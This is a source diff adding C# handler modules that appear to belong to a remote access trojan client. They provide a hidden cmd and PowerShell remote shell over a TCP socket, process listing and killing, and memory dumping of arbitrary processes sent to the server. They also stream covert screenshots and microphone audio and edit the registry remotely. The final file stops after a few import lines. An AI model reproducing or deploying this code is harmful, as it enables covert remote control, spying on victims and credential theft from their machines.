@ -0,0 +1,134 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Management;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using MessagePack;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal static class HandlePowershell
|
||||
{
|
||||
public static Process ProcessShell;
|
||||
public static string Input { get; set; }
|
||||
public static bool CanWrite { get; set; }
|
||||
|
||||
private static CultureInfo cultureInfo = CultureInfo.InstalledUICulture;
|
||||
|
||||
public static void ShellWriteLine(string arg)
|
||||
{
|
||||
Input = arg;
|
||||
CanWrite = true;
|
||||
}
|
||||
|
||||
public static void StarShell()
|
||||
{
|
||||
ProcessShell = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo("powershell")
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
RedirectStandardOutput = true,
|
||||
RedirectStandardInput = true,
|
||||
RedirectStandardError = true,
|
||||
StandardOutputEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage),
|
||||
StandardErrorEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage),
|
||||
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))
|
||||
}
|
||||
};
|
||||
ProcessShell.OutputDataReceived += ShellDataHandler;
|
||||
ProcessShell.ErrorDataReceived += ShellDataHandler;
|
||||
ProcessShell.Start();
|
||||
ProcessShell.BeginOutputReadLine();
|
||||
ProcessShell.BeginErrorReadLine();
|
||||
Thread.Sleep(1000);
|
||||
ProcessShell.OutputDataReceived -= ShellDataHandler;
|
||||
ProcessShell.ErrorDataReceived -= ShellDataHandler;
|
||||
ProcessShell.StandardInput.WriteLine(
|
||||
$"CHCP {Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage).CodePage}");
|
||||
Thread.Sleep(1000);
|
||||
ProcessShell.OutputDataReceived += ShellDataHandler;
|
||||
ProcessShell.ErrorDataReceived += ShellDataHandler;
|
||||
while (true)
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
if (CanWrite)
|
||||
{
|
||||
if (Input.ToLower() == "exit") break;
|
||||
ProcessShell.StandardInput.WriteLine(Input);
|
||||
CanWrite = false;
|
||||
}
|
||||
}
|
||||
|
||||
ShellClose();
|
||||
}
|
||||
|
||||
private static void ShellDataHandler(object sender, DataReceivedEventArgs e)
|
||||
{
|
||||
var Output = new StringBuilder();
|
||||
try
|
||||
{
|
||||
Output.AppendLine(e.Data);
|
||||
if (e.Data.Length == 0) return;
|
||||
|
||||
var toSend = ConvertEncoding(Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage), e.Data);
|
||||
if (string.IsNullOrEmpty(toSend)|| string.IsNullOrEmpty(Output.ToString())) return;
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "powershell";
|
||||
msgpack.ForcePathObject("HWID").AsString = Program.HWID;
|
||||
msgpack.ForcePathObject("ReadInput").AsString = Output.ToString();
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static string ConvertEncoding(Encoding sourceEncoding, string input)
|
||||
{
|
||||
var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input));
|
||||
return Encoding.UTF8.GetString(utf8Text);
|
||||
}
|
||||
|
||||
public static void ShellClose()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (ProcessShell != null)
|
||||
{
|
||||
KillProcessAndChildren(ProcessShell.Id);
|
||||
ProcessShell.OutputDataReceived -= ShellDataHandler;
|
||||
ProcessShell.ErrorDataReceived -= ShellDataHandler;
|
||||
CanWrite = false;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void KillProcessAndChildren(int pid)
|
||||
{
|
||||
if (pid == 0) return;
|
||||
var searcher = new ManagementObjectSearcher
|
||||
("Select * From Win32_Process Where ParentProcessID=" + pid);
|
||||
var moc = searcher.Get();
|
||||
foreach (var mo in moc) KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"]));
|
||||
try
|
||||
{
|
||||
var proc = Process.GetProcessById(pid);
|
||||
proc.Kill();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,241 @@
|
|||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using MessagePack;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal class HandleProcess
|
||||
{
|
||||
public static void ProcessKill(int ID)
|
||||
{
|
||||
foreach (var process in Process.GetProcesses())
|
||||
try
|
||||
{
|
||||
if (process.Id == ID) process.Kill();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
|
||||
ProcessList();
|
||||
}
|
||||
|
||||
public static void ProcessList()
|
||||
{
|
||||
try
|
||||
{
|
||||
var sb = new StringBuilder();
|
||||
var query = "SELECT * FROM Win32_Process";
|
||||
using (var searcher = new ManagementObjectSearcher(query))
|
||||
using (var results = searcher.Get())
|
||||
{
|
||||
var processes = results.Cast<ManagementObject>().Select(x => new
|
||||
{
|
||||
ProcessId = (uint) x["ProcessId"],
|
||||
Name = (string) x["Name"],
|
||||
ExecutablePath = (string) x["ExecutablePath"],
|
||||
CommandLine = (string) x["CommandLine"],
|
||||
ParentProcessId = (uint) x["ParentProcessId"],
|
||||
PageFileUsage = (uint) x["PageFileUsage"],
|
||||
VirtualSize = (ulong) x["VirtualSize"],
|
||||
WorkingSetSize = (ulong) x["WorkingSetSize"],
|
||||
SessionId = (uint) x["SessionId"],
|
||||
Priority = (uint) x["Priority"]
|
||||
});
|
||||
foreach (var p in processes)
|
||||
if (File.Exists(p.ExecutablePath))
|
||||
{
|
||||
var description = FileVersionInfo.GetVersionInfo(p.ExecutablePath).FileDescription;
|
||||
var company = FileVersionInfo.GetVersionInfo(p.ExecutablePath).CompanyName;
|
||||
var bit = IsWin64(Process.GetProcessById((int) p.ProcessId));
|
||||
var owner = GetProcessUser(Process.GetProcessById((int) p.ProcessId));
|
||||
var clr = IsCLRLoaded(Process.GetProcessById((int) p.ProcessId));
|
||||
|
||||
var icon = Icon.ExtractAssociatedIcon(p.ExecutablePath);
|
||||
var bmpIcon = icon.ToBitmap();
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
bmpIcon.Save(ms, ImageFormat.Png);
|
||||
sb.Append(p.ExecutablePath
|
||||
+ "-=>" + p.ProcessId
|
||||
+ "-=>" + p.Name
|
||||
+ "-=>" + p.CommandLine
|
||||
+ "-=>" + p.ParentProcessId
|
||||
+ "-=>" + p.PageFileUsage
|
||||
+ "-=>" + p.VirtualSize
|
||||
+ "-=>" + p.WorkingSetSize
|
||||
+ "-=>" + p.SessionId
|
||||
+ "-=>" + p.Priority
|
||||
+ "-=>" + description
|
||||
+ "-=>" + company
|
||||
+ "-=>" + bit
|
||||
+ "-=>" + clr
|
||||
+ "-=>" + owner
|
||||
+ "-=>" + Convert.ToBase64String(ms.ToArray())
|
||||
+ "-=>");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "process";
|
||||
msgpack.ForcePathObject("Message").AsString = sb.ToString();
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static string IsWin64(Process process)
|
||||
{
|
||||
if (Helper.Helper.Is64Bit())
|
||||
{
|
||||
IntPtr processHandle;
|
||||
|
||||
try
|
||||
{
|
||||
processHandle = Process.GetProcessById(process.Id).Handle;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "*";
|
||||
}
|
||||
|
||||
return Native.IsWow64Process(processHandle, out var retVal) && retVal ? "x86" : "x64";
|
||||
}
|
||||
|
||||
return "x86";
|
||||
}
|
||||
|
||||
public static string GetProcessUser(Process process)
|
||||
{
|
||||
var processHandle = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
Native.OpenProcessToken(process.Handle, 8, out processHandle);
|
||||
var wi = new WindowsIdentity(processHandle);
|
||||
return wi.Name;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (processHandle != IntPtr.Zero) Native.CloseHandle(processHandle);
|
||||
}
|
||||
}
|
||||
|
||||
public static string IsCLRLoaded(Process process)
|
||||
{
|
||||
try
|
||||
{
|
||||
var modules = from module in process.Modules.OfType<ProcessModule>()
|
||||
select module;
|
||||
|
||||
return modules.Any(pm => pm.ModuleName.Contains("mscor")) ? "Manage" : "Native";
|
||||
}
|
||||
//Access was denied
|
||||
catch (Win32Exception)
|
||||
{
|
||||
return "Native";
|
||||
}
|
||||
//Process has already exited
|
||||
catch (InvalidOperationException)
|
||||
{
|
||||
return "Native";
|
||||
}
|
||||
}
|
||||
|
||||
public static void Minidump(int pid)
|
||||
{
|
||||
IntPtr targetProcessHandle;
|
||||
uint targetProcessId = 0;
|
||||
|
||||
Process targetProcess = null;
|
||||
try
|
||||
{
|
||||
targetProcess = Process.GetProcessById(pid);
|
||||
targetProcessId = (uint) targetProcess.Id;
|
||||
targetProcessHandle = targetProcess.Handle;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var byteArray = new byte[60 * 1024 * 1024];
|
||||
var callbackPtr = new Native.MinidumpCallbackRoutine((param, input, output) =>
|
||||
{
|
||||
var inputStruct =
|
||||
(Native.MINIDUMP_CALLBACK_INPUT) Marshal.PtrToStructure(input,
|
||||
typeof(Native.MINIDUMP_CALLBACK_INPUT));
|
||||
var outputStruct =
|
||||
(Native.MINIDUMP_CALLBACK_OUTPUT) Marshal.PtrToStructure(output,
|
||||
typeof(Native.MINIDUMP_CALLBACK_OUTPUT));
|
||||
switch (inputStruct.CallbackType)
|
||||
{
|
||||
case Native.MINIDUMP_CALLBACK_TYPE.IoStartCallback:
|
||||
outputStruct.status = Native.HRESULT.S_FALSE;
|
||||
Marshal.StructureToPtr(outputStruct, output, true);
|
||||
return true;
|
||||
case Native.MINIDUMP_CALLBACK_TYPE.IoWriteAllCallback:
|
||||
var ioStruct = inputStruct.Io;
|
||||
if ((int) ioStruct.Offset + ioStruct.BufferBytes >= byteArray.Length)
|
||||
Array.Resize(ref byteArray, byteArray.Length * 2);
|
||||
Marshal.Copy(ioStruct.Buffer, byteArray, (int) ioStruct.Offset, ioStruct.BufferBytes);
|
||||
outputStruct.status = Native.HRESULT.S_OK;
|
||||
Marshal.StructureToPtr(outputStruct, output, true);
|
||||
return true;
|
||||
case Native.MINIDUMP_CALLBACK_TYPE.IoFinishCallback:
|
||||
outputStruct.status = Native.HRESULT.S_OK;
|
||||
Marshal.StructureToPtr(outputStruct, output, true);
|
||||
return true;
|
||||
default:
|
||||
return true;
|
||||
}
|
||||
});
|
||||
|
||||
var callbackInfo = new Native.MINIDUMP_CALLBACK_INFORMATION
|
||||
{
|
||||
CallbackRoutine = callbackPtr,
|
||||
CallbackParam = IntPtr.Zero
|
||||
};
|
||||
|
||||
var size = Marshal.SizeOf(callbackInfo);
|
||||
var callbackInfoPtr = Marshal.AllocHGlobal(size);
|
||||
Marshal.StructureToPtr(callbackInfo, callbackInfoPtr, false);
|
||||
|
||||
if (Native.MiniDumpWriteDump(targetProcessHandle, targetProcessId, IntPtr.Zero, 2, IntPtr.Zero,
|
||||
IntPtr.Zero, callbackInfoPtr))
|
||||
{
|
||||
//Console.OutputEncoding = Encoding.UTF8;
|
||||
//Console.Write(Convert.ToBase64String((byteArray)));
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "processDump";
|
||||
msgpack.ForcePathObject("Name").AsString = targetProcess.MainModule.ModuleName;
|
||||
msgpack.ForcePathObject("Message").SetAsBytes(byteArray);
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log( ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,272 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Runtime.Serialization;
|
||||
using System.Runtime.Serialization.Formatters.Binary;
|
||||
using Client.Helper.RegManager;
|
||||
using MessagePack;
|
||||
using Microsoft.Win32;
|
||||
using static Client.Helper.RegManager.RegistrySeeker;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
public static class HandleRegEdit
|
||||
{
|
||||
public static void LoadKey(string RootKeyName)
|
||||
{
|
||||
try
|
||||
{
|
||||
var seeker = new RegistrySeeker();
|
||||
seeker.BeginSeeking(RootKeyName);
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "LoadKey";
|
||||
msgpack.ForcePathObject("RootKey").AsString = RootKeyName;
|
||||
msgpack.ForcePathObject("Matches").SetAsBytes(Serialize(seeker.Matches));
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void CreateKey(string ParentPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryEditor.CreateRegistryKey(ParentPath, out var newKeyName, out var errorMsg);
|
||||
var Match = new RegSeekerMatch
|
||||
{
|
||||
Key = newKeyName,
|
||||
Data = RegistryKeyHelper.GetDefaultValues(),
|
||||
HasSubKeys = false
|
||||
};
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "CreateKey";
|
||||
msgpack.ForcePathObject("ParentPath").AsString = ParentPath;
|
||||
msgpack.ForcePathObject("Match").SetAsBytes(Serialize(Match));
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void DeleteKey(string KeyName, string ParentPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryEditor.DeleteRegistryKey(KeyName, ParentPath, out var errorMsg);
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "DeleteKey";
|
||||
msgpack.ForcePathObject("ParentPath").AsString = ParentPath;
|
||||
msgpack.ForcePathObject("KeyName").AsString = KeyName;
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void RenameKey(string OldKeyName, string NewKeyName, string ParentPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryEditor.RenameRegistryKey(OldKeyName, NewKeyName, ParentPath, out var errorMsg);
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "RenameKey";
|
||||
msgpack.ForcePathObject("rootKey").AsString = ParentPath;
|
||||
msgpack.ForcePathObject("oldName").AsString = OldKeyName;
|
||||
msgpack.ForcePathObject("newName").AsString = NewKeyName;
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void CreateValue(string KeyPath, string Kindstring)
|
||||
{
|
||||
var newKeyName = "";
|
||||
var Kind = RegistryValueKind.Unknown;
|
||||
switch (Kindstring)
|
||||
{
|
||||
case "0":
|
||||
{
|
||||
Kind = RegistryValueKind.Unknown;
|
||||
break;
|
||||
}
|
||||
case "1":
|
||||
{
|
||||
Kind = RegistryValueKind.String;
|
||||
break;
|
||||
}
|
||||
case "2":
|
||||
{
|
||||
Kind = RegistryValueKind.ExpandString;
|
||||
break;
|
||||
}
|
||||
case "3":
|
||||
{
|
||||
Kind = RegistryValueKind.Binary;
|
||||
break;
|
||||
}
|
||||
case "4":
|
||||
{
|
||||
Kind = RegistryValueKind.DWord;
|
||||
break;
|
||||
}
|
||||
case "7":
|
||||
{
|
||||
Kind = RegistryValueKind.MultiString;
|
||||
break;
|
||||
}
|
||||
case "11":
|
||||
{
|
||||
Kind = RegistryValueKind.QWord;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
RegistryEditor.CreateRegistryValue(KeyPath, Kind, out newKeyName, out var errorMsg);
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "CreateValue";
|
||||
msgpack.ForcePathObject("keyPath").AsString = KeyPath;
|
||||
msgpack.ForcePathObject("Kindstring").AsString = Kindstring;
|
||||
msgpack.ForcePathObject("newKeyName").AsString = newKeyName;
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void DeleteValue(string KeyPath, string ValueName)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryEditor.DeleteRegistryValue(KeyPath, ValueName, out var errorMsg);
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "DeleteValue";
|
||||
msgpack.ForcePathObject("keyPath").AsString = KeyPath;
|
||||
msgpack.ForcePathObject("ValueName").AsString = ValueName;
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void RenameValue(string OldValueName, string NewValueName, string KeyPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryEditor.RenameRegistryValue(OldValueName, NewValueName, KeyPath, out var errorMsg);
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "RenameValue";
|
||||
msgpack.ForcePathObject("KeyPath").AsString = KeyPath;
|
||||
msgpack.ForcePathObject("OldValueName").AsString = OldValueName;
|
||||
msgpack.ForcePathObject("NewValueName").AsString = NewValueName;
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void ChangeValue(RegValueData Value, string KeyPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryEditor.ChangeRegistryValue(Value, KeyPath, out var errorMsg);
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "ChangeValue";
|
||||
msgpack.ForcePathObject("KeyPath").AsString = KeyPath;
|
||||
msgpack.ForcePathObject("Value").SetAsBytes(Serialize(Value));
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static byte[] Serialize(RegSeekerMatch[] Matches)
|
||||
{
|
||||
return Matches.Serialize();
|
||||
}
|
||||
|
||||
public static byte[] Serialize(RegSeekerMatch Matche)
|
||||
{
|
||||
return Matche.Serialize();
|
||||
}
|
||||
|
||||
public static byte[] Serialize(RegValueData Value)
|
||||
{
|
||||
return Value.Serialize();
|
||||
}
|
||||
|
||||
public static RegValueData DeSerializeRegValueData(byte[] bytes)
|
||||
{
|
||||
var Value = bytes.Deserialize<RegValueData>();
|
||||
return Value;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
public static class Serializer
|
||||
{
|
||||
internal sealed class Binder : SerializationBinder
|
||||
{
|
||||
public override Type BindToType(string assemblyName, string typeName)
|
||||
{
|
||||
Type typeToDeserialize = null;
|
||||
|
||||
var currentAssembly = Assembly.GetExecutingAssembly().FullName;
|
||||
typeName = typeName.Replace("Creeper.Helper", "Client.Helper.RegManager");
|
||||
assemblyName = currentAssembly;
|
||||
|
||||
typeToDeserialize = Type.GetType($"{typeName}, {assemblyName}");
|
||||
return typeToDeserialize;
|
||||
}
|
||||
}
|
||||
public static byte[] Serialize<T>(this T @object)
|
||||
{
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
new BinaryFormatter().Serialize(ms, @object);
|
||||
return ms.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public static T Deserialize<T>(this byte[] byteArray)
|
||||
{
|
||||
using (var ms = new MemoryStream(byteArray))
|
||||
{
|
||||
return (T) new BinaryFormatter
|
||||
{
|
||||
Binder = new Binder()
|
||||
}.Deserialize(ms);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,133 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Management;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using MessagePack;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal static class HandleShell
|
||||
{
|
||||
public static Process ProcessShell;
|
||||
public static string Input { get; set; }
|
||||
public static bool CanWrite { get; set; }
|
||||
|
||||
private static CultureInfo cultureInfo = CultureInfo.InstalledUICulture;
|
||||
|
||||
public static void ShellWriteLine(string arg)
|
||||
{
|
||||
Input = arg;
|
||||
CanWrite = true;
|
||||
}
|
||||
|
||||
public static void StarShell()
|
||||
{
|
||||
ProcessShell = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo("cmd")
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
RedirectStandardOutput = true,
|
||||
RedirectStandardInput = true,
|
||||
RedirectStandardError = true,
|
||||
StandardOutputEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage),
|
||||
StandardErrorEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage),
|
||||
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))
|
||||
}
|
||||
};
|
||||
ProcessShell.OutputDataReceived += ShellDataHandler;
|
||||
ProcessShell.ErrorDataReceived += ShellDataHandler;
|
||||
ProcessShell.Start();
|
||||
ProcessShell.BeginOutputReadLine();
|
||||
ProcessShell.BeginErrorReadLine();
|
||||
Thread.Sleep(100); ProcessShell.OutputDataReceived -= ShellDataHandler;
|
||||
ProcessShell.ErrorDataReceived -= ShellDataHandler;
|
||||
ProcessShell.StandardInput.WriteLine(
|
||||
$"CHCP {Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage).CodePage}");
|
||||
Thread.Sleep(100);
|
||||
ProcessShell.OutputDataReceived += ShellDataHandler;
|
||||
ProcessShell.ErrorDataReceived += ShellDataHandler;
|
||||
while (true)
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
if (CanWrite)
|
||||
{
|
||||
if (Input.ToLower() == "exit") break;
|
||||
ProcessShell.StandardInput.WriteLine(Input);
|
||||
CanWrite = false;
|
||||
}
|
||||
}
|
||||
|
||||
ShellClose();
|
||||
}
|
||||
|
||||
private static void ShellDataHandler(object sender, DataReceivedEventArgs e)
|
||||
{
|
||||
var Output = new StringBuilder();
|
||||
try
|
||||
{
|
||||
Output.AppendLine(e.Data);
|
||||
if (e.Data.Length == 0) return;
|
||||
|
||||
var toSend = ConvertEncoding(Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage), e.Data);
|
||||
if (string.IsNullOrEmpty(toSend) || string.IsNullOrEmpty(Output.ToString())) return;
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "shell";
|
||||
msgpack.ForcePathObject("HWID").AsString = Program.HWID;
|
||||
msgpack.ForcePathObject("ReadInput").AsString = Output.ToString();
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static string ConvertEncoding(Encoding sourceEncoding, string input)
|
||||
{
|
||||
var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input));
|
||||
return Encoding.UTF8.GetString(utf8Text);
|
||||
}
|
||||
|
||||
public static void ShellClose()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (ProcessShell != null)
|
||||
{
|
||||
KillProcessAndChildren(ProcessShell.Id);
|
||||
ProcessShell.OutputDataReceived -= ShellDataHandler;
|
||||
ProcessShell.ErrorDataReceived -= ShellDataHandler;
|
||||
CanWrite = false;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void KillProcessAndChildren(int pid)
|
||||
{
|
||||
if (pid == 0) return;
|
||||
var searcher = new ManagementObjectSearcher
|
||||
("Select * From Win32_Process Where ParentProcessID=" + pid);
|
||||
var moc = searcher.Get();
|
||||
foreach (var mo in moc) KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"]));
|
||||
try
|
||||
{
|
||||
var proc = Process.GetProcessById(pid);
|
||||
proc.Kill();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,45 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using MessagePack;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal static class HandleThumbnail
|
||||
{
|
||||
public static bool isOn = false;
|
||||
public static void Start()
|
||||
{
|
||||
try
|
||||
{
|
||||
while (Program.TCP_Socket.IsConnected && isOn)
|
||||
{
|
||||
Thread.Sleep(new Random().Next(1000, 3000));
|
||||
var bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
|
||||
using (var g = Graphics.FromImage(bmp))
|
||||
using (var memoryStream = new MemoryStream())
|
||||
{
|
||||
g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
|
||||
var thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero);
|
||||
thumb.Save(memoryStream, ImageFormat.Jpeg);
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "thumbnail";
|
||||
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
thumb.Dispose();
|
||||
}
|
||||
bmp.Dispose();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isOn = false;
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,60 @@
|
|||
using System;
|
||||
using MessagePack;
|
||||
using WaveLib;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal static class HandleVoice
|
||||
{
|
||||
private static bool _isRun = true;
|
||||
private static WinSoundRecord _Recorder;
|
||||
|
||||
|
||||
public static void OpenAudio(int samplesPerSecond, int bitsPerSample, int channels)
|
||||
{
|
||||
var inDeviceOpen = 0;
|
||||
try
|
||||
{
|
||||
var waveInDeviceName = WinSound.GetWaveInDeviceNames().Count > 0
|
||||
? WinSound.GetWaveInDeviceNames()[0]
|
||||
: null;
|
||||
if (waveInDeviceName != null)
|
||||
{
|
||||
_Recorder = new WinSoundRecord();
|
||||
_Recorder.DataRecorded += Recorder_DataRecorded;
|
||||
_Recorder.Open(waveInDeviceName, samplesPerSecond, bitsPerSample, channels, 1280, 8);
|
||||
}
|
||||
else
|
||||
{
|
||||
inDeviceOpen = 1;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void Recorder_DataRecorded(byte[] bytes)
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "voice";
|
||||
msgpack.ForcePathObject("Stream").SetAsBytes(bytes);
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
public static void Dispose()
|
||||
{
|
||||
_isRun = false;
|
||||
try
|
||||
{
|
||||
if (_Recorder != null)
|
||||
_Recorder.Stop();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,829 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
